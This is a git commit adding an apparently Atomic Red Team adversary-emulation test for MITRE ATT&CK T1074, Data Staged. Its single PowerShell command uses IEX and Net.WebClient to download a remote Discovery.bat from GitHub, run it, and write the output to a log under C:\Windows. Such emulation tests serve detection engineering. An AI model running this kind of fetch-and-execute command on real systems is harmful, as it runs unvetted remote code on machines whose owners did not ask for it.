Add test for T1074, Data Staged

Data Staged Yaml
2018-05-24 00:39:59 -04:00
parent 4a2c96a85f
commit aa0dfa0800
1 changed files with 16 additions and 0 deletions
@@ -0,0 +1,16 @@
+---
+attack_technique: T1074
+display_name: Data Staged
+
+atomic_tests:
+- name: Stage data from Discovery.bat
+  description: |
+    Utilize powershell to download discovery.bat and save to a local file
+
+  supported_platforms:
+    - windows
+
+  executor:
+    name: powershell
+    command: |
+      powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat')" > c:\windows\pi.log